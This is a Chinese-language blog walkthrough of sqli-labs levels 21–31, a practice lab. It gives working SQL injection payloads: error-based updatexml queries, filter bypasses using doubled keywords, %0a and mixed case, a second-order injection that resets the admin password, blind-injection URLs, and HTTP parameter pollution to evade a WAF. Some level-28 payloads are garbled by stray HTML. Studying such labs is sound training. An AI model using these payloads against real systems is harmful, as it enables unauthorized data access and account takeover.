level21
先admin:admin登录
由此可见cookie被加密了
可以尝试在每次注入前对payload进行加密在注入
先将语句进行base64加密,再进行注入,通过回显找到闭合方式为')
获取行数admin')order by 4# 得到行数为3
然后开始爆破数据表,列等等
level22
闭合为"了
其他的一样
level23
字符型注入而且+被过滤掉了
将注释符替换为了空格
通过源码发现#和--都被被过滤为空字符串,只有想方法将闭合符号消耗完毕,让后台能够接收,处理掉
原有的闭合方式
id=-1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
这样构造闭合的目的就是将原有单引号进行逃逸使查询语句变为 id='-1' xxx and '1'='1' 最后的半个
单引号用于逃逸后台的闭合方式
试过了前面那几关get类型也能用
level24
二次注入:二次注入是存储型注入,可以理解为构造恶意数据存储在数据库后,恶意数据被读取并进入
到了SQL查询语句所导致的注入。恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,
当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。简言之就是将
脏数据进行简单过滤后开发者就认为该数据可信便存入数据库中,当下一次调用该数据时,该数据就会
拼接到其他查询语句中造成注入。
首先要注册一个账号,用户名为admin' #
登录之后,修改密码,该修改密码功能的语句变为
UPDATE users SET passwd="New_Pass" WHERE users='admin'
这时候我们就是在进行越权改变管理员的密码,从数据库中抽出我们注册的新账户,用该账户越权修改
管理员的密码
将密码改为123456,然后用管理员的账户,登录密码123456
管理员账户登录成功
相当于我们输入的用户民最后用来闭合user,从而致使sql语句实行的时候将admin的密码进行了改变
level25
通过下方hint,发现and和or都被过滤了,尝试大写也被过滤了
解决思路将or变成oorr,这样后台过滤了or还剩下or或者用||代替or(and一样的方式)
或者用 union select联合查询
tips:在url中&&还有传参的作用如果需要使用&&需要进行url编码 && ->%26%26
爆破数据库名
?id=-1' oorr updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
或者
?id=-1' || updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
爆破数据表
?id=-1' oorr updatexml(1,concat(0x7e,(select group_concat(table_name)from
infoorrmation_schema.tables where table_schema=database() ),0x7e),1)--+
注意:information中也有or需要进行双写
其他的爆破字段等也是相同的玩法
level 25a
测试发现与Less25的区别是数字型注入
level26
单引号闭合 过滤了 or,and , /* , – , # , 空格 , /
将id中的 or and -- # 等都进行了改为空的操作 ,\s过滤了空格和换行,解决and or可以双写或者用&&和||代替,解决注释需要强行闭合逃逸,需要空格的地方可以加上括号,白盒测试发现注入类型为字符型
and or ——> && ||
# -- ——> 闭合逃逸
/s ——> 括号
我们常见的绕过空格的就是多行注释,/**/但这里过滤了,所以这行不通,
%A0替代空格 &&替换and 注意url编码 需要linux 不测试了
因为给我#不让用了,那就只能闭合了
?id=-1'||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||'1'='1
level26a
闭合变为了')
level27
又是一个过滤
select,union这类关键词只过滤完全大写或者完全小写,针对php这种弱类型语言,可以采用部分大写
部分小写绕过
空格,换行——> %0a
payload为?id=1'and%0aupdatexml(1,concat(0x7e,database(),0x7e),1)or'1'='1
level27a
测试后发现闭合方式为双引号,其余与Less27相同
level28
\s | 查找空白字符 |
---|
将union select进行了屏蔽,解决的办法就是绕过union select 即可,测试发现没有报错回显,闭合方式为')
union union select select方法绕过,空格照样用%0a替换 亲测这个方法其实没什么鸟用
使用盲注
<span style="color:#333333;">长度是8
http://localhost/sqli-labs/Less-28a/?id=1')and(length(database())>7)and('1')=('1
http://localhost/sqli-labs/Less-28a/?id=1')and(length(database())>8)and('1')=('1
第一个字符是115,即s
http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((</span>sElect%a0database()<span style="color:#333333;">),1,1))>114)and('1')=('1
http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((</span>sElect%a0database()<span style="color:#333333;">),1,1))>115)and('1')=('1</span>
sElect%a0database()),1,1))>114)and('1')=('1
http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((sElect%a0database()),1,1))>115)and('1')=('1
成功则
失败则
level 28a
通过源码发现仅仅匹配了union select组合,其余都未匹配,与Less28一样,用盲注的方式
level29
HTTP参数污染
服务器端有两个部分:第一部分是tomcat为引擎的jsp型服务器,第二部分是apache为引擎的php服务器,真正提供web服务的是php服务器,往往在tomcat的服务器处做过滤处理,功能类似于waf,由于解析参数的机制不同,我们可以利用该原理绕过waf的检测;数据解析的顺序:tomcat从前往后,appache从后往前。
显示的是id=2的内容 但是waf检测的是前面id=1的内容
此关的通关简单联合查询即可,目的是了解参数污染的原理
payload为?id=1&id=0' union select 1,2,(select group_concat(column_name)from
information_schema.columns where table_schema=database() and
table_name='users')--+
爆列等相同玩法
level30
与Less29的区别为闭合方式为双引号
Less31
通过页面回显发现与Less29的区别为闭合方式为双引号家括号")
标签:database,30,0x7e,闭合,labs21,过滤,sql,id,select From: https://www.cnblogs.com/vaneshadow/p/17428806.html